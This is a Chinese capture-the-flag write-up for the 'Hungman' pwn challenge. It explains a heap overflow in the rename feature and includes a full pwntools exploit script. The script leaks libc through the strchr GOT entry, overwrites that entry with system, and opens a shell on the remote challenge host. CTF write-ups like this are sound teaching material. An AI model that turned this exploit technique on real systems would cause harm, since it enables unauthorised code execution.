攻防世界PWN之Hungman題解

Hungman

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下

最開始輸入名字,根據名字長度申請堆

當我們打贏遊戲,更改名字時,可以出現溢出

之前的堆依然還是那個,而我們的輸入的內容可以變得更長,導致溢出到下一個堆塊,而下一個堆塊正式遊戲數據的結構體,我們就可以篡改,改成函數的got表地址,再次打贏遊戲,就能泄露信息,同理,再來一次,修改got表

而這個遊戲是一個猜字母的遊戲,並且是這樣記分數的

要猜的字母個數等於我們輸入的用戶名長度

我們如果輸入長度大於26的名字,然後從a到z猜,就一定可約獲勝

我們完整的exp腳本

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./hungman')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
sh = remote('111.198.29.45',48979)
elf = ELF('./hungman')
strchr_got = elf.got['strchr']
system_s = libc.sym['system']
strchr_s = 0x89AB0

def winGame():
   for x in string.ascii_lowercase:
      ans = sh.recv()
      if 'High score! change name?' in ans:
         break
      if 'Continue?' in ans:
         sh.sendline('y')
      #print ans
      sh.sendline(x)
      sleep(0.2)

sh.sendlineafter("What's your name?","a"*0x30)
winGame()


sh.sendline('y')
sleep(0.5)
payload = 'b'*0x30
#溢出到結構體的內存位置處
payload += p64(0) + p64(0x91)
#score   name_len
payload += p32(0x100) + p32(0x100)
#name buf
payload += p64(strchr_got)

sh.sendline(payload)
sh.recvuntil('Highest player: ')
strchr_addr = u64(sh.recvuntil(' score:',drop = True).ljust(8,'\x00'))
libc_base = strchr_addr - strchr_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

sh.sendlineafter('Continue?','y')
winGame()
sh.sendlineafter('High score! change name?','y')
sleep(0.2)
sh.send(p64(system_addr))

sh.sendlineafter('Continue?','y')
winGame()
sh.sendline('y')
sleep(0.5)
sh.sendline('/bin/sh')

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章